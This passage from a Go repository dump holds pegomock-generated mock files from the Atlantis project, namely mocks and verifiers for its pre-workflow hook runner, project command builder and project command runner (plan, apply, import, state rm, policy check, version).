&MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification struct { mock *MockPreWorkflowHooksCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, cmd := c.GetAllCapturedArguments() return ctx[len(ctx)-1], cmd[len(cmd)-1] } func (c *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } if len(_params) > 1 { _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*events.CommentCommand) } } } return } ================================================ FILE: server/events/mocks/mock_project_command_builder.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: ProjectCommandBuilder) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockProjectCommandBuilder struct { fail func(message string, callerSkip ...int) } func NewMockProjectCommandBuilder(options ...pegomock.Option) *MockProjectCommandBuilder { mock := &MockProjectCommandBuilder{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockProjectCommandBuilder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectCommandBuilder) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } _params := []pegomock.Param{ctx, comment} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApplyCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []command.ProjectContext var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]command.ProjectContext) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } _params := []pegomock.Param{ctx, comment} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApprovePoliciesCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []command.ProjectContext var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]command.ProjectContext) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildAutoplanCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []command.ProjectContext var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]command.ProjectContext) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } _params := []pegomock.Param{ctx, comment} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildImportCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []command.ProjectContext var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]command.ProjectContext) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } _params := []pegomock.Param{ctx, comment} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildPlanCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []command.ProjectContext var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]command.ProjectContext) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } _params := []pegomock.Param{ctx, comment} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildStateRmCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []command.ProjectContext var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]command.ProjectContext) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } _params := []pegomock.Param{ctx, comment} _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildVersionCommands", _params, []reflect.Type{reflect.TypeOf((*[]command.ProjectContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []command.ProjectContext var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]command.ProjectContext) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectCommandBuilder) VerifyWasCalledOnce() *VerifierMockProjectCommandBuilder { return &VerifierMockProjectCommandBuilder{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockProjectCommandBuilder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandBuilder { return &VerifierMockProjectCommandBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockProjectCommandBuilder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandBuilder { return &VerifierMockProjectCommandBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockProjectCommandBuilder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandBuilder { return &VerifierMockProjectCommandBuilder{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockProjectCommandBuilder struct { mock *MockProjectCommandBuilder invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification { _params := []pegomock.Param{ctx, comment} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApplyCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification struct { mock *MockProjectCommandBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, comment := c.GetAllCapturedArguments() return ctx[len(ctx)-1], comment[len(comment)-1] } func (c *MockProjectCommandBuilder_BuildApplyCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } if len(_params) > 1 { _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*events.CommentCommand) } } } return } func (verifier *VerifierMockProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification { _params := []pegomock.Param{ctx, comment} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildApprovePoliciesCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification struct { mock *MockProjectCommandBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, comment := c.GetAllCapturedArguments() return ctx[len(ctx)-1], comment[len(comment)-1] } func (c *MockProjectCommandBuilder_BuildApprovePoliciesCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } if len(_params) > 1 { _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*events.CommentCommand) } } } return } func (verifier *VerifierMockProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildAutoplanCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification struct { mock *MockProjectCommandBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification) GetCapturedArguments() *command.Context { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockProjectCommandBuilder_BuildAutoplanCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } } return } func (verifier *VerifierMockProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification { _params := []pegomock.Param{ctx, comment} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildImportCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildImportCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandBuilder_BuildImportCommands_OngoingVerification struct { mock *MockProjectCommandBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, comment := c.GetAllCapturedArguments() return ctx[len(ctx)-1], comment[len(comment)-1] } func (c *MockProjectCommandBuilder_BuildImportCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } if len(_params) > 1 { _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*events.CommentCommand) } } } return } func (verifier *VerifierMockProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification { _params := []pegomock.Param{ctx, comment} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildPlanCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification struct { mock *MockProjectCommandBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, comment := c.GetAllCapturedArguments() return ctx[len(ctx)-1], comment[len(comment)-1] } func (c *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } if len(_params) > 1 { _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*events.CommentCommand) } } } return } func (verifier *VerifierMockProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification { _params := []pegomock.Param{ctx, comment} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildStateRmCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification struct { mock *MockProjectCommandBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, comment := c.GetAllCapturedArguments() return ctx[len(ctx)-1], comment[len(comment)-1] } func (c *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } if len(_params) > 1 { _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*events.CommentCommand) } } } return } func (verifier *VerifierMockProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification { _params := []pegomock.Param{ctx, comment} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "BuildVersionCommands", _params, verifier.timeout) return &MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification struct { mock *MockProjectCommandBuilder methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, comment := c.GetAllCapturedArguments() return ctx[len(ctx)-1], comment[len(comment)-1] } func (c *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } if len(_params) > 1 { _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*events.CommentCommand) } } } return } ================================================ FILE: server/events/mocks/mock_project_command_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: ProjectCommandRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockProjectCommandRunner struct { fail func(message string, callerSkip ...int) } func NewMockProjectCommandRunner(options ...pegomock.Option) *MockProjectCommandRunner { mock := &MockProjectCommandRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockProjectCommandRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectCommandOutput { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("Apply", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()}) var _ret0 command.ProjectCommandOutput if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(command.ProjectCommandOutput) } } return _ret0 } func (mock *MockProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectCommandOutput { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("ApprovePolicies", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()}) var _ret0 command.ProjectCommandOutput if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(command.ProjectCommandOutput) } } return _ret0 } func (mock *MockProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectCommandOutput { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("Import", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()}) var _ret0 command.ProjectCommandOutput if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(command.ProjectCommandOutput) } } return _ret0 } func (mock *MockProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectCommandOutput { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("Plan", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()}) var _ret0 command.ProjectCommandOutput if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(command.ProjectCommandOutput) } } return _ret0 } func (mock *MockProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectCommandOutput { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("PolicyCheck", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()}) var _ret0 command.ProjectCommandOutput if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(command.ProjectCommandOutput) } } return _ret0 } func (mock *MockProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectCommandOutput { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("StateRm", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()}) var _ret0 command.ProjectCommandOutput if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(command.ProjectCommandOutput) } } return _ret0 } func (mock *MockProjectCommandRunner) Version(ctx command.ProjectContext) command.ProjectCommandOutput { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandRunner().") } _params := []pegomock.Param{ctx} _result := pegomock.GetGenericMockFrom(mock).Invoke("Version", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()}) var _ret0 command.ProjectCommandOutput if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(command.ProjectCommandOutput) } } return _ret0 } func (mock *MockProjectCommandRunner) VerifyWasCalledOnce() *VerifierMockProjectCommandRunner { return &VerifierMockProjectCommandRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockProjectCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandRunner { return &VerifierMockProjectCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockProjectCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandRunner { return &VerifierMockProjectCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockProjectCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandRunner { return &VerifierMockProjectCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockProjectCommandRunner struct { mock *MockProjectCommandRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockProjectCommandRunner) Apply(ctx command.ProjectContext) *MockProjectCommandRunner_Apply_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Apply", _params, verifier.timeout) return &MockProjectCommandRunner_Apply_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandRunner_Apply_OngoingVerification struct { mock *MockProjectCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandRunner_Apply_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockProjectCommandRunner_Apply_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) *MockProjectCommandRunner_ApprovePolicies_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ApprovePolicies", _params, verifier.timeout) return &MockProjectCommandRunner_ApprovePolicies_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandRunner_ApprovePolicies_OngoingVerification struct { mock *MockProjectCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandRunner_ApprovePolicies_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockProjectCommandRunner_ApprovePolicies_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockProjectCommandRunner) Import(ctx command.ProjectContext) *MockProjectCommandRunner_Import_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Import", _params, verifier.timeout) return &MockProjectCommandRunner_Import_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandRunner_Import_OngoingVerification struct { mock *MockProjectCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandRunner_Import_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockProjectCommandRunner_Import_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockProjectCommandRunner) Plan(ctx command.ProjectContext) *MockProjectCommandRunner_Plan_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Plan", _params, verifier.timeout) return &MockProjectCommandRunner_Plan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandRunner_Plan_OngoingVerification struct { mock *MockProjectCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandRunner_Plan_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockProjectCommandRunner_Plan_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) *MockProjectCommandRunner_PolicyCheck_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PolicyCheck", _params, verifier.timeout) return &MockProjectCommandRunner_PolicyCheck_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandRunner_PolicyCheck_OngoingVerification struct { mock *MockProjectCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandRunner_PolicyCheck_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockProjectCommandRunner_PolicyCheck_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockProjectCommandRunner) StateRm(ctx command.ProjectContext) *MockProjectCommandRunner_StateRm_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "StateRm", _params, verifier.timeout) return &MockProjectCommandRunner_StateRm_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandRunner_StateRm_OngoingVerification struct { mock *MockProjectCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandRunner_StateRm_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockProjectCommandRunner_StateRm_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } func (verifier *VerifierMockProjectCommandRunner) Version(ctx command.ProjectContext) *MockProjectCommandRunner_Version_OngoingVerification { _params := []pegomock.Param{ctx} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Version", _params, verifier.timeout) return &MockProjectCommandRunner_Version_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectCommandRunner_Version_OngoingVerification struct { mock *MockProjectCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockProjectCommandRunner_Version_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } func (c *MockProjectCommandRunner_Version_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { _params := 